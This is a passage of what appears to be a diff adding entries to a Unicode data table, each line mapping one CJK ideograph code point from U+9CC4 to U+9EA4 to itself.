+ ["\u9CC4", "\u9CC4"], /* CJK Ideograph */
+ ["\u9CC5", "\u9CC5"], /* CJK Ideograph */
+ ["\u9CC6", "\u9CC6"], /* CJK Ideograph */
+ ["\u9CC7", "\u9CC7"], /* CJK Ideograph */
+ ["\u9CC8", "\u9CC8"], /* CJK Ideograph */
+ ["\u9CC9", "\u9CC9"], /* CJK Ideograph */
+ ["\u9CCA", "\u9CCA"], /* CJK Ideograph */
+ ["\u9CCB", "\u9CCB"], /* CJK Ideograph */
+ ["\u9CCC", "\u9CCC"], /* CJK Ideograph */
+ ["\u9CCD", "\u9CCD"], /* CJK Ideograph */
+ ["\u9CCE", "\u9CCE"], /* CJK Ideograph */
+ ["\u9CCF", "\u9CCF"], /* CJK Ideograph */
+ ["\u9CD0", "\u9CD0"], /* CJK Ideograph */
+ ["\u9CD1", "\u9CD1"], /* CJK Ideograph */
+ ["\u9CD2", "\u9CD2"], /* CJK Ideograph */
+ ["\u9CD3", "\u9CD3"], /* CJK Ideograph */
+ ["\u9CD4", "\u9CD4"], /* CJK Ideograph */
+ ["\u9CD5", "\u9CD5"], /* CJK Ideograph */
+ ["\u9CD6", "\u9CD6"], /* CJK Ideograph */
+ ["\u9CD7", "\u9CD7"], /* CJK Ideograph */
+ ["\u9CD8", "\u9CD8"], /* CJK Ideograph */
+ ["\u9CD9", "\u9CD9"], /* CJK Ideograph */
+ ["\u9CDA", "\u9CDA"], /* CJK Ideograph */
+ ["\u9CDB", "\u9CDB"], /* CJK Ideograph */
+ ["\u9CDC", "\u9CDC"], /* CJK Ideograph */
+ ["\u9CDD", "\u9CDD"], /* CJK Ideograph */
+ ["\u9CDE", "\u9CDE"], /* CJK Ideograph */
+ ["\u9CDF", "\u9CDF"], /* CJK Ideograph */
+ ["\u9CE0", "\u9CE0"], /* CJK Ideograph */
+ ["\u9CE1", "\u9CE1"], /* CJK Ideograph */
+ ["\u9CE2", "\u9CE2"], /* CJK Ideograph */
+ ["\u9CE3", "\u9CE3"], /* CJK Ideograph */
+ ["\u9CE4", "\u9CE4"], /* CJK Ideograph */
+ ["\u9CE5", "\u9CE5"], /* CJK Ideograph */
+ ["\u9CE6", "\u9CE6"], /* CJK Ideograph */
+ ["\u9CE7", "\u9CE7"], /* CJK Ideograph */
+ ["\u9CE8", "\u9CE8"], /* CJK Ideograph */
+ ["\u9CE9", "\u9CE9"], /* CJK Ideograph */
+ ["\u9CEA", "\u9CEA"], /* CJK Ideograph */
+ ["\u9CEB", "\u9CEB"], /* CJK Ideograph */
+ ["\u9CEC", "\u9CEC"], /* CJK Ideograph */
+ ["\u9CED", "\u9CED"], /* CJK Ideograph */
+ ["\u9CEE", "\u9CEE"], /* CJK Ideograph */
+ ["\u9CEF", "\u9CEF"], /* CJK Ideograph */
+ ["\u9CF0", "\u9CF0"], /* CJK Ideograph */
+ ["\u9CF1", "\u9CF1"], /* CJK Ideograph */
+ ["\u9CF2", "\u9CF2"], /* CJK Ideograph */
+ ["\u9CF3", "\u9CF3"], /* CJK Ideograph */
+ ["\u9CF4", "\u9CF4"], /* CJK Ideograph */
+ ["\u9CF5", "\u9CF5"], /* CJK Ideograph */
+ ["\u9CF6", "\u9CF6"], /* CJK Ideograph */
+ ["\u9CF7", "\u9CF7"], /* CJK Ideograph */
+ ["\u9CF8", "\u9CF8"], /* CJK Ideograph */
+ ["\u9CF9", "\u9CF9"], /* CJK Ideograph */
+ ["\u9CFA", "\u9CFA"], /* CJK Ideograph */
+ ["\u9CFB", "\u9CFB"], /* CJK Ideograph */
+ ["\u9CFC", "\u9CFC"], /* CJK Ideograph */
+ ["\u9CFD", "\u9CFD"], /* CJK Ideograph */
+ ["\u9CFE", "\u9CFE"], /* CJK Ideograph */
+ ["\u9CFF", "\u9CFF"], /* CJK Ideograph */
+ ["\u9D00", "\u9D00"], /* CJK Ideograph */
+ ["\u9D01", "\u9D01"], /* CJK Ideograph */
+ ["\u9D02", "\u9D02"], /* CJK Ideograph */
+ ["\u9D03", "\u9D03"], /* CJK Ideograph */
+ ["\u9D04", "\u9D04"], /* CJK Ideograph */
+ ["\u9D05", "\u9D05"], /* CJK Ideograph */
+ ["\u9D06", "\u9D06"], /* CJK Ideograph */
+ ["\u9D07", "\u9D07"], /* CJK Ideograph */
+ ["\u9D08", "\u9D08"], /* CJK Ideograph */
+ ["\u9D09", "\u9D09"], /* CJK Ideograph */
+ ["\u9D0A", "\u9D0A"], /* CJK Ideograph */
+ ["\u9D0B", "\u9D0B"], /* CJK Ideograph */
+ ["\u9D0C", "\u9D0C"], /* CJK Ideograph */
+ ["\u9D0D", "\u9D0D"], /* CJK Ideograph */
+ ["\u9D0E", "\u9D0E"], /* CJK Ideograph */
+ ["\u9D0F", "\u9D0F"], /* CJK Ideograph */
+ ["\u9D10", "\u9D10"], /* CJK Ideograph */
+ ["\u9D11", "\u9D11"], /* CJK Ideograph */
+ ["\u9D12", "\u9D12"], /* CJK Ideograph */
+ ["\u9D13", "\u9D13"], /* CJK Ideograph */
+ ["\u9D14", "\u9D14"], /* CJK Ideograph */
+ ["\u9D15", "\u9D15"], /* CJK Ideograph */
+ ["\u9D16", "\u9D16"], /* CJK Ideograph */
+ ["\u9D17", "\u9D17"], /* CJK Ideograph */
+ ["\u9D18", "\u9D18"], /* CJK Ideograph */
+ ["\u9D19", "\u9D19"], /* CJK Ideograph */
+ ["\u9D1A", "\u9D1A"], /* CJK Ideograph */
+ ["\u9D1B", "\u9D1B"], /* CJK Ideograph */
+ ["\u9D1C", "\u9D1C"], /* CJK Ideograph */
+ ["\u9D1D", "\u9D1D"], /* CJK Ideograph */
+ ["\u9D1E", "\u9D1E"], /* CJK Ideograph */
+ ["\u9D1F", "\u9D1F"], /* CJK Ideograph */
+ ["\u9D20", "\u9D20"], /* CJK Ideograph */
+ ["\u9D21", "\u9D21"], /* CJK Ideograph */
+ ["\u9D22", "\u9D22"], /* CJK Ideograph */
+ ["\u9D23", "\u9D23"], /* CJK Ideograph */
+ ["\u9D24", "\u9D24"], /* CJK Ideograph */
+ ["\u9D25", "\u9D25"], /* CJK Ideograph */
+ ["\u9D26", "\u9D26"], /* CJK Ideograph */
+ ["\u9D27", "\u9D27"], /* CJK Ideograph */
+ ["\u9D28", "\u9D28"], /* CJK Ideograph */
+ ["\u9D29", "\u9D29"], /* CJK Ideograph */
+ ["\u9D2A", "\u9D2A"], /* CJK Ideograph */
+ ["\u9D2B", "\u9D2B"], /* CJK Ideograph */
+ ["\u9D2C", "\u9D2C"], /* CJK Ideograph */
+ ["\u9D2D", "\u9D2D"], /* CJK Ideograph */
+ ["\u9D2E", "\u9D2E"], /* CJK Ideograph */
+ ["\u9D2F", "\u9D2F"], /* CJK Ideograph */
+ ["\u9D30", "\u9D30"], /* CJK Ideograph */
+ ["\u9D31", "\u9D31"], /* CJK Ideograph */
+ ["\u9D32", "\u9D32"], /* CJK Ideograph */
+ ["\u9D33", "\u9D33"], /* CJK Ideograph */
+ ["\u9D34", "\u9D34"], /* CJK Ideograph */
+ ["\u9D35", "\u9D35"], /* CJK Ideograph */
+ ["\u9D36", "\u9D36"], /* CJK Ideograph */
+ ["\u9D37", "\u9D37"], /* CJK Ideograph */
+ ["\u9D38", "\u9D38"], /* CJK Ideograph */
+ ["\u9D39", "\u9D39"], /* CJK Ideograph */
+ ["\u9D3A", "\u9D3A"], /* CJK Ideograph */
+ ["\u9D3B", "\u9D3B"], /* CJK Ideograph */
+ ["\u9D3C", "\u9D3C"], /* CJK Ideograph */
+ ["\u9D3D", "\u9D3D"], /* CJK Ideograph */
+ ["\u9D3E", "\u9D3E"], /* CJK Ideograph */
+ ["\u9D3F", "\u9D3F"], /* CJK Ideograph */
+ ["\u9D40", "\u9D40"], /* CJK Ideograph */
+ ["\u9D41", "\u9D41"], /* CJK Ideograph */
+ ["\u9D42", "\u9D42"], /* CJK Ideograph */
+ ["\u9D43", "\u9D43"], /* CJK Ideograph */
+ ["\u9D44", "\u9D44"], /* CJK Ideograph */
+ ["\u9D45", "\u9D45"], /* CJK Ideograph */
+ ["\u9D46", "\u9D46"], /* CJK Ideograph */
+ ["\u9D47", "\u9D47"], /* CJK Ideograph */
+ ["\u9D48", "\u9D48"], /* CJK Ideograph */
+ ["\u9D49", "\u9D49"], /* CJK Ideograph */
+ ["\u9D4A", "\u9D4A"], /* CJK Ideograph */
+ ["\u9D4B", "\u9D4B"], /* CJK Ideograph */
+ ["\u9D4C", "\u9D4C"], /* CJK Ideograph */
+ ["\u9D4D", "\u9D4D"], /* CJK Ideograph */
+ ["\u9D4E", "\u9D4E"], /* CJK Ideograph */
+ ["\u9D4F", "\u9D4F"], /* CJK Ideograph */
+ ["\u9D50", "\u9D50"], /* CJK Ideograph */
+ ["\u9D51", "\u9D51"], /* CJK Ideograph */
+ ["\u9D52", "\u9D52"], /* CJK Ideograph */
+ ["\u9D53", "\u9D53"], /* CJK Ideograph */
+ ["\u9D54", "\u9D54"], /* CJK Ideograph */
+ ["\u9D55", "\u9D55"], /* CJK Ideograph */
+ ["\u9D56", "\u9D56"], /* CJK Ideograph */
+ ["\u9D57", "\u9D57"], /* CJK Ideograph */
+ ["\u9D58", "\u9D58"], /* CJK Ideograph */
+ ["\u9D59", "\u9D59"], /* CJK Ideograph */
+ ["\u9D5A", "\u9D5A"], /* CJK Ideograph */
+ ["\u9D5B", "\u9D5B"], /* CJK Ideograph */
+ ["\u9D5C", "\u9D5C"], /* CJK Ideograph */
+ ["\u9D5D", "\u9D5D"], /* CJK Ideograph */
+ ["\u9D5E", "\u9D5E"], /* CJK Ideograph */
+ ["\u9D5F", "\u9D5F"], /* CJK Ideograph */
+ ["\u9D60", "\u9D60"], /* CJK Ideograph */
+ ["\u9D61", "\u9D61"], /* CJK Ideograph */
+ ["\u9D62", "\u9D62"], /* CJK Ideograph */
+ ["\u9D63", "\u9D63"], /* CJK Ideograph */
+ ["\u9D64", "\u9D64"], /* CJK Ideograph */
+ ["\u9D65", "\u9D65"], /* CJK Ideograph */
+ ["\u9D66", "\u9D66"], /* CJK Ideograph */
+ ["\u9D67", "\u9D67"], /* CJK Ideograph */
+ ["\u9D68", "\u9D68"], /* CJK Ideograph */
+ ["\u9D69", "\u9D69"], /* CJK Ideograph */
+ ["\u9D6A", "\u9D6A"], /* CJK Ideograph */
+ ["\u9D6B", "\u9D6B"], /* CJK Ideograph */
+ ["\u9D6C", "\u9D6C"], /* CJK Ideograph */
+ ["\u9D6D", "\u9D6D"], /* CJK Ideograph */
+ ["\u9D6E", "\u9D6E"], /* CJK Ideograph */
+ ["\u9D6F", "\u9D6F"], /* CJK Ideograph */
+ ["\u9D70", "\u9D70"], /* CJK Ideograph */
+ ["\u9D71", "\u9D71"], /* CJK Ideograph */
+ ["\u9D72", "\u9D72"], /* CJK Ideograph */
+ ["\u9D73", "\u9D73"], /* CJK Ideograph */
+ ["\u9D74", "\u9D74"], /* CJK Ideograph */
+ ["\u9D75", "\u9D75"], /* CJK Ideograph */
+ ["\u9D76", "\u9D76"], /* CJK Ideograph */
+ ["\u9D77", "\u9D77"], /* CJK Ideograph */
+ ["\u9D78", "\u9D78"], /* CJK Ideograph */
+ ["\u9D79", "\u9D79"], /* CJK Ideograph */
+ ["\u9D7A", "\u9D7A"], /* CJK Ideograph */
+ ["\u9D7B", "\u9D7B"], /* CJK Ideograph */
+ ["\u9D7C", "\u9D7C"], /* CJK Ideograph */
+ ["\u9D7D", "\u9D7D"], /* CJK Ideograph */
+ ["\u9D7E", "\u9D7E"], /* CJK Ideograph */
+ ["\u9D7F", "\u9D7F"], /* CJK Ideograph */
+ ["\u9D80", "\u9D80"], /* CJK Ideograph */
+ ["\u9D81", "\u9D81"], /* CJK Ideograph */
+ ["\u9D82", "\u9D82"], /* CJK Ideograph */
+ ["\u9D83", "\u9D83"], /* CJK Ideograph */
+ ["\u9D84", "\u9D84"], /* CJK Ideograph */
+ ["\u9D85", "\u9D85"], /* CJK Ideograph */
+ ["\u9D86", "\u9D86"], /* CJK Ideograph */
+ ["\u9D87", "\u9D87"], /* CJK Ideograph */
+ ["\u9D88", "\u9D88"], /* CJK Ideograph */
+ ["\u9D89", "\u9D89"], /* CJK Ideograph */
+ ["\u9D8A", "\u9D8A"], /* CJK Ideograph */
+ ["\u9D8B", "\u9D8B"], /* CJK Ideograph */
+ ["\u9D8C", "\u9D8C"], /* CJK Ideograph */
+ ["\u9D8D", "\u9D8D"], /* CJK Ideograph */
+ ["\u9D8E", "\u9D8E"], /* CJK Ideograph */
+ ["\u9D8F", "\u9D8F"], /* CJK Ideograph */
+ ["\u9D90", "\u9D90"], /* CJK Ideograph */
+ ["\u9D91", "\u9D91"], /* CJK Ideograph */
+ ["\u9D92", "\u9D92"], /* CJK Ideograph */
+ ["\u9D93", "\u9D93"], /* CJK Ideograph */
+ ["\u9D94", "\u9D94"], /* CJK Ideograph */
+ ["\u9D95", "\u9D95"], /* CJK Ideograph */
+ ["\u9D96", "\u9D96"], /* CJK Ideograph */
+ ["\u9D97", "\u9D97"], /* CJK Ideograph */
+ ["\u9D98", "\u9D98"], /* CJK Ideograph */
+ ["\u9D99", "\u9D99"], /* CJK Ideograph */
+ ["\u9D9A", "\u9D9A"], /* CJK Ideograph */
+ ["\u9D9B", "\u9D9B"], /* CJK Ideograph */
+ ["\u9D9C", "\u9D9C"], /* CJK Ideograph */
+ ["\u9D9D", "\u9D9D"], /* CJK Ideograph */
+ ["\u9D9E", "\u9D9E"], /* CJK Ideograph */
+ ["\u9D9F", "\u9D9F"], /* CJK Ideograph */
+ ["\u9DA0", "\u9DA0"], /* CJK Ideograph */
+ ["\u9DA1", "\u9DA1"], /* CJK Ideograph */
+ ["\u9DA2", "\u9DA2"], /* CJK Ideograph */
+ ["\u9DA3", "\u9DA3"], /* CJK Ideograph */
+ ["\u9DA4", "\u9DA4"], /* CJK Ideograph */
+ ["\u9DA5", "\u9DA5"], /* CJK Ideograph */
+ ["\u9DA6", "\u9DA6"], /* CJK Ideograph */
+ ["\u9DA7", "\u9DA7"], /* CJK Ideograph */
+ ["\u9DA8", "\u9DA8"], /* CJK Ideograph */
+ ["\u9DA9", "\u9DA9"], /* CJK Ideograph */
+ ["\u9DAA", "\u9DAA"], /* CJK Ideograph */
+ ["\u9DAB", "\u9DAB"], /* CJK Ideograph */
+ ["\u9DAC", "\u9DAC"], /* CJK Ideograph */
+ ["\u9DAD", "\u9DAD"], /* CJK Ideograph */
+ ["\u9DAE", "\u9DAE"], /* CJK Ideograph */
+ ["\u9DAF", "\u9DAF"], /* CJK Ideograph */
+ ["\u9DB0", "\u9DB0"], /* CJK Ideograph */
+ ["\u9DB1", "\u9DB1"], /* CJK Ideograph */
+ ["\u9DB2", "\u9DB2"], /* CJK Ideograph */
+ ["\u9DB3", "\u9DB3"], /* CJK Ideograph */
+ ["\u9DB4", "\u9DB4"], /* CJK Ideograph */
+ ["\u9DB5", "\u9DB5"], /* CJK Ideograph */
+ ["\u9DB6", "\u9DB6"], /* CJK Ideograph */
+ ["\u9DB7", "\u9DB7"], /* CJK Ideograph */
+ ["\u9DB8", "\u9DB8"], /* CJK Ideograph */
+ ["\u9DB9", "\u9DB9"], /* CJK Ideograph */
+ ["\u9DBA", "\u9DBA"], /* CJK Ideograph */
+ ["\u9DBB", "\u9DBB"], /* CJK Ideograph */
+ ["\u9DBC", "\u9DBC"], /* CJK Ideograph */
+ ["\u9DBD", "\u9DBD"], /* CJK Ideograph */
+ ["\u9DBE", "\u9DBE"], /* CJK Ideograph */
+ ["\u9DBF", "\u9DBF"], /* CJK Ideograph */
+ ["\u9DC0", "\u9DC0"], /* CJK Ideograph */
+ ["\u9DC1", "\u9DC1"], /* CJK Ideograph */
+ ["\u9DC2", "\u9DC2"], /* CJK Ideograph */
+ ["\u9DC3", "\u9DC3"], /* CJK Ideograph */
+ ["\u9DC4", "\u9DC4"], /* CJK Ideograph */
+ ["\u9DC5", "\u9DC5"], /* CJK Ideograph */
+ ["\u9DC6", "\u9DC6"], /* CJK Ideograph */
+ ["\u9DC7", "\u9DC7"], /* CJK Ideograph */
+ ["\u9DC8", "\u9DC8"], /* CJK Ideograph */
+ ["\u9DC9", "\u9DC9"], /* CJK Ideograph */
+ ["\u9DCA", "\u9DCA"], /* CJK Ideograph */
+ ["\u9DCB", "\u9DCB"], /* CJK Ideograph */
+ ["\u9DCC", "\u9DCC"], /* CJK Ideograph */
+ ["\u9DCD", "\u9DCD"], /* CJK Ideograph */
+ ["\u9DCE", "\u9DCE"], /* CJK Ideograph */
+ ["\u9DCF", "\u9DCF"], /* CJK Ideograph */
+ ["\u9DD0", "\u9DD0"], /* CJK Ideograph */
+ ["\u9DD1", "\u9DD1"], /* CJK Ideograph */
+ ["\u9DD2", "\u9DD2"], /* CJK Ideograph */
+ ["\u9DD3", "\u9DD3"], /* CJK Ideograph */
+ ["\u9DD4", "\u9DD4"], /* CJK Ideograph */
+ ["\u9DD5", "\u9DD5"], /* CJK Ideograph */
+ ["\u9DD6", "\u9DD6"], /* CJK Ideograph */
+ ["\u9DD7", "\u9DD7"], /* CJK Ideograph */
+ ["\u9DD8", "\u9DD8"], /* CJK Ideograph */
+ ["\u9DD9", "\u9DD9"], /* CJK Ideograph */
+ ["\u9DDA", "\u9DDA"], /* CJK Ideograph */
+ ["\u9DDB", "\u9DDB"], /* CJK Ideograph */
+ ["\u9DDC", "\u9DDC"], /* CJK Ideograph */
+ ["\u9DDD", "\u9DDD"], /* CJK Ideograph */
+ ["\u9DDE", "\u9DDE"], /* CJK Ideograph */
+ ["\u9DDF", "\u9DDF"], /* CJK Ideograph */
+ ["\u9DE0", "\u9DE0"], /* CJK Ideograph */
+ ["\u9DE1", "\u9DE1"], /* CJK Ideograph */
+ ["\u9DE2", "\u9DE2"], /* CJK Ideograph */
+ ["\u9DE3", "\u9DE3"], /* CJK Ideograph */
+ ["\u9DE4", "\u9DE4"], /* CJK Ideograph */
+ ["\u9DE5", "\u9DE5"], /* CJK Ideograph */
+ ["\u9DE6", "\u9DE6"], /* CJK Ideograph */
+ ["\u9DE7", "\u9DE7"], /* CJK Ideograph */
+ ["\u9DE8", "\u9DE8"], /* CJK Ideograph */
+ ["\u9DE9", "\u9DE9"], /* CJK Ideograph */
+ ["\u9DEA", "\u9DEA"], /* CJK Ideograph */
+ ["\u9DEB", "\u9DEB"], /* CJK Ideograph */
+ ["\u9DEC", "\u9DEC"], /* CJK Ideograph */
+ ["\u9DED", "\u9DED"], /* CJK Ideograph */
+ ["\u9DEE", "\u9DEE"], /* CJK Ideograph */
+ ["\u9DEF", "\u9DEF"], /* CJK Ideograph */
+ ["\u9DF0", "\u9DF0"], /* CJK Ideograph */
+ ["\u9DF1", "\u9DF1"], /* CJK Ideograph */
+ ["\u9DF2", "\u9DF2"], /* CJK Ideograph */
+ ["\u9DF3", "\u9DF3"], /* CJK Ideograph */
+ ["\u9DF4", "\u9DF4"], /* CJK Ideograph */
+ ["\u9DF5", "\u9DF5"], /* CJK Ideograph */
+ ["\u9DF6", "\u9DF6"], /* CJK Ideograph */
+ ["\u9DF7", "\u9DF7"], /* CJK Ideograph */
+ ["\u9DF8", "\u9DF8"], /* CJK Ideograph */
+ ["\u9DF9", "\u9DF9"], /* CJK Ideograph */
+ ["\u9DFA", "\u9DFA"], /* CJK Ideograph */
+ ["\u9DFB", "\u9DFB"], /* CJK Ideograph */
+ ["\u9DFC", "\u9DFC"], /* CJK Ideograph */
+ ["\u9DFD", "\u9DFD"], /* CJK Ideograph */
+ ["\u9DFE", "\u9DFE"], /* CJK Ideograph */
+ ["\u9DFF", "\u9DFF"], /* CJK Ideograph */
+ ["\u9E00", "\u9E00"], /* CJK Ideograph */
+ ["\u9E01", "\u9E01"], /* CJK Ideograph */
+ ["\u9E02", "\u9E02"], /* CJK Ideograph */
+ ["\u9E03", "\u9E03"], /* CJK Ideograph */
+ ["\u9E04", "\u9E04"], /* CJK Ideograph */
+ ["\u9E05", "\u9E05"], /* CJK Ideograph */
+ ["\u9E06", "\u9E06"], /* CJK Ideograph */
+ ["\u9E07", "\u9E07"], /* CJK Ideograph */
+ ["\u9E08", "\u9E08"], /* CJK Ideograph */
+ ["\u9E09", "\u9E09"], /* CJK Ideograph */
+ ["\u9E0A", "\u9E0A"], /* CJK Ideograph */
+ ["\u9E0B", "\u9E0B"], /* CJK Ideograph */
+ ["\u9E0C", "\u9E0C"], /* CJK Ideograph */
+ ["\u9E0D", "\u9E0D"], /* CJK Ideograph */
+ ["\u9E0E", "\u9E0E"], /* CJK Ideograph */
+ ["\u9E0F", "\u9E0F"], /* CJK Ideograph */
+ ["\u9E10", "\u9E10"], /* CJK Ideograph */
+ ["\u9E11", "\u9E11"], /* CJK Ideograph */
+ ["\u9E12", "\u9E12"], /* CJK Ideograph */
+ ["\u9E13", "\u9E13"], /* CJK Ideograph */
+ ["\u9E14", "\u9E14"], /* CJK Ideograph */
+ ["\u9E15", "\u9E15"], /* CJK Ideograph */
+ ["\u9E16", "\u9E16"], /* CJK Ideograph */
+ ["\u9E17", "\u9E17"], /* CJK Ideograph */
+ ["\u9E18", "\u9E18"], /* CJK Ideograph */
+ ["\u9E19", "\u9E19"], /* CJK Ideograph */
+ ["\u9E1A", "\u9E1A"], /* CJK Ideograph */
+ ["\u9E1B", "\u9E1B"], /* CJK Ideograph */
+ ["\u9E1C", "\u9E1C"], /* CJK Ideograph */
+ ["\u9E1D", "\u9E1D"], /* CJK Ideograph */
+ ["\u9E1E", "\u9E1E"], /* CJK Ideograph */
+ ["\u9E1F", "\u9E1F"], /* CJK Ideograph */
+ ["\u9E20", "\u9E20"], /* CJK Ideograph */
+ ["\u9E21", "\u9E21"], /* CJK Ideograph */
+ ["\u9E22", "\u9E22"], /* CJK Ideograph */
+ ["\u9E23", "\u9E23"], /* CJK Ideograph */
+ ["\u9E24", "\u9E24"], /* CJK Ideograph */
+ ["\u9E25", "\u9E25"], /* CJK Ideograph */
+ ["\u9E26", "\u9E26"], /* CJK Ideograph */
+ ["\u9E27", "\u9E27"], /* CJK Ideograph */
+ ["\u9E28", "\u9E28"], /* CJK Ideograph */
+ ["\u9E29", "\u9E29"], /* CJK Ideograph */
+ ["\u9E2A", "\u9E2A"], /* CJK Ideograph */
+ ["\u9E2B", "\u9E2B"], /* CJK Ideograph */
+ ["\u9E2C", "\u9E2C"], /* CJK Ideograph */
+ ["\u9E2D", "\u9E2D"], /* CJK Ideograph */
+ ["\u9E2E", "\u9E2E"], /* CJK Ideograph */
+ ["\u9E2F", "\u9E2F"], /* CJK Ideograph */
+ ["\u9E30", "\u9E30"], /* CJK Ideograph */
+ ["\u9E31", "\u9E31"], /* CJK Ideograph */
+ ["\u9E32", "\u9E32"], /* CJK Ideograph */
+ ["\u9E33", "\u9E33"], /* CJK Ideograph */
+ ["\u9E34", "\u9E34"], /* CJK Ideograph */
+ ["\u9E35", "\u9E35"], /* CJK Ideograph */
+ ["\u9E36", "\u9E36"], /* CJK Ideograph */
+ ["\u9E37", "\u9E37"], /* CJK Ideograph */
+ ["\u9E38", "\u9E38"], /* CJK Ideograph */
+ ["\u9E39", "\u9E39"], /* CJK Ideograph */
+ ["\u9E3A", "\u9E3A"], /* CJK Ideograph */
+ ["\u9E3B", "\u9E3B"], /* CJK Ideograph */
+ ["\u9E3C", "\u9E3C"], /* CJK Ideograph */
+ ["\u9E3D", "\u9E3D"], /* CJK Ideograph */
+ ["\u9E3E", "\u9E3E"], /* CJK Ideograph */
+ ["\u9E3F", "\u9E3F"], /* CJK Ideograph */
+ ["\u9E40", "\u9E40"], /* CJK Ideograph */
+ ["\u9E41", "\u9E41"], /* CJK Ideograph */
+ ["\u9E42", "\u9E42"], /* CJK Ideograph */
+ ["\u9E43", "\u9E43"], /* CJK Ideograph */
+ ["\u9E44", "\u9E44"], /* CJK Ideograph */
+ ["\u9E45", "\u9E45"], /* CJK Ideograph */
+ ["\u9E46", "\u9E46"], /* CJK Ideograph */
+ ["\u9E47", "\u9E47"], /* CJK Ideograph */
+ ["\u9E48", "\u9E48"], /* CJK Ideograph */
+ ["\u9E49", "\u9E49"], /* CJK Ideograph */
+ ["\u9E4A", "\u9E4A"], /* CJK Ideograph */
+ ["\u9E4B", "\u9E4B"], /* CJK Ideograph */
+ ["\u9E4C", "\u9E4C"], /* CJK Ideograph */
+ ["\u9E4D", "\u9E4D"], /* CJK Ideograph */
+ ["\u9E4E", "\u9E4E"], /* CJK Ideograph */
+ ["\u9E4F", "\u9E4F"], /* CJK Ideograph */
+ ["\u9E50", "\u9E50"], /* CJK Ideograph */
+ ["\u9E51", "\u9E51"], /* CJK Ideograph */
+ ["\u9E52", "\u9E52"], /* CJK Ideograph */
+ ["\u9E53", "\u9E53"], /* CJK Ideograph */
+ ["\u9E54", "\u9E54"], /* CJK Ideograph */
+ ["\u9E55", "\u9E55"], /* CJK Ideograph */
+ ["\u9E56", "\u9E56"], /* CJK Ideograph */
+ ["\u9E57", "\u9E57"], /* CJK Ideograph */
+ ["\u9E58", "\u9E58"], /* CJK Ideograph */
+ ["\u9E59", "\u9E59"], /* CJK Ideograph */
+ ["\u9E5A", "\u9E5A"], /* CJK Ideograph */
+ ["\u9E5B", "\u9E5B"], /* CJK Ideograph */
+ ["\u9E5C", "\u9E5C"], /* CJK Ideograph */
+ ["\u9E5D", "\u9E5D"], /* CJK Ideograph */
+ ["\u9E5E", "\u9E5E"], /* CJK Ideograph */
+ ["\u9E5F", "\u9E5F"], /* CJK Ideograph */
+ ["\u9E60", "\u9E60"], /* CJK Ideograph */
+ ["\u9E61", "\u9E61"], /* CJK Ideograph */
+ ["\u9E62", "\u9E62"], /* CJK Ideograph */
+ ["\u9E63", "\u9E63"], /* CJK Ideograph */
+ ["\u9E64", "\u9E64"], /* CJK Ideograph */
+ ["\u9E65", "\u9E65"], /* CJK Ideograph */
+ ["\u9E66", "\u9E66"], /* CJK Ideograph */
+ ["\u9E67", "\u9E67"], /* CJK Ideograph */
+ ["\u9E68", "\u9E68"], /* CJK Ideograph */
+ ["\u9E69", "\u9E69"], /* CJK Ideograph */
+ ["\u9E6A", "\u9E6A"], /* CJK Ideograph */
+ ["\u9E6B", "\u9E6B"], /* CJK Ideograph */
+ ["\u9E6C", "\u9E6C"], /* CJK Ideograph */
+ ["\u9E6D", "\u9E6D"], /* CJK Ideograph */
+ ["\u9E6E", "\u9E6E"], /* CJK Ideograph */
+ ["\u9E6F", "\u9E6F"], /* CJK Ideograph */
+ ["\u9E70", "\u9E70"], /* CJK Ideograph */
+ ["\u9E71", "\u9E71"], /* CJK Ideograph */
+ ["\u9E72", "\u9E72"], /* CJK Ideograph */
+ ["\u9E73", "\u9E73"], /* CJK Ideograph */
+ ["\u9E74", "\u9E74"], /* CJK Ideograph */
+ ["\u9E75", "\u9E75"], /* CJK Ideograph */
+ ["\u9E76", "\u9E76"], /* CJK Ideograph */
+ ["\u9E77", "\u9E77"], /* CJK Ideograph */
+ ["\u9E78", "\u9E78"], /* CJK Ideograph */
+ ["\u9E79", "\u9E79"], /* CJK Ideograph */
+ ["\u9E7A", "\u9E7A"], /* CJK Ideograph */
+ ["\u9E7B", "\u9E7B"], /* CJK Ideograph */
+ ["\u9E7C", "\u9E7C"], /* CJK Ideograph */
+ ["\u9E7D", "\u9E7D"], /* CJK Ideograph */
+ ["\u9E7E", "\u9E7E"], /* CJK Ideograph */
+ ["\u9E7F", "\u9E7F"], /* CJK Ideograph */
+ ["\u9E80", "\u9E80"], /* CJK Ideograph */
+ ["\u9E81", "\u9E81"], /* CJK Ideograph */
+ ["\u9E82", "\u9E82"], /* CJK Ideograph */
+ ["\u9E83", "\u9E83"], /* CJK Ideograph */
+ ["\u9E84", "\u9E84"], /* CJK Ideograph */
+ ["\u9E85", "\u9E85"], /* CJK Ideograph */
+ ["\u9E86", "\u9E86"], /* CJK Ideograph */
+ ["\u9E87", "\u9E87"], /* CJK Ideograph */
+ ["\u9E88", "\u9E88"], /* CJK Ideograph */
+ ["\u9E89", "\u9E89"], /* CJK Ideograph */
+ ["\u9E8A", "\u9E8A"], /* CJK Ideograph */
+ ["\u9E8B", "\u9E8B"], /* CJK Ideograph */
+ ["\u9E8C", "\u9E8C"], /* CJK Ideograph */
+ ["\u9E8D", "\u9E8D"], /* CJK Ideograph */
+ ["\u9E8E", "\u9E8E"], /* CJK Ideograph */
+ ["\u9E8F", "\u9E8F"], /* CJK Ideograph */
+ ["\u9E90", "\u9E90"], /* CJK Ideograph */
+ ["\u9E91", "\u9E91"], /* CJK Ideograph */
+ ["\u9E92", "\u9E92"], /* CJK Ideograph */
+ ["\u9E93", "\u9E93"], /* CJK Ideograph */
+ ["\u9E94", "\u9E94"], /* CJK Ideograph */
+ ["\u9E95", "\u9E95"], /* CJK Ideograph */
+ ["\u9E96", "\u9E96"], /* CJK Ideograph */
+ ["\u9E97", "\u9E97"], /* CJK Ideograph */
+ ["\u9E98", "\u9E98"], /* CJK Ideograph */
+ ["\u9E99", "\u9E99"], /* CJK Ideograph */
+ ["\u9E9A", "\u9E9A"], /* CJK Ideograph */
+ ["\u9E9B", "\u9E9B"], /* CJK Ideograph */
+ ["\u9E9C", "\u9E9C"], /* CJK Ideograph */
+ ["\u9E9D", "\u9E9D"], /* CJK Ideograph */
+ ["\u9E9E", "\u9E9E"], /* CJK Ideograph */
+ ["\u9E9F", "\u9E9F"], /* CJK Ideograph */
+ ["\u9EA0", "\u9EA0"], /* CJK Ideograph */
+ ["\u9EA1", "\u9EA1"], /* CJK Ideograph */
+ ["\u9EA2", "\u9EA2"], /* CJK Ideograph */
+ ["\u9EA3", "\u9EA3"], /* CJK Ideograph */
+ ["\u9EA4", "\u9EA4"], /* CJK Ideograph */
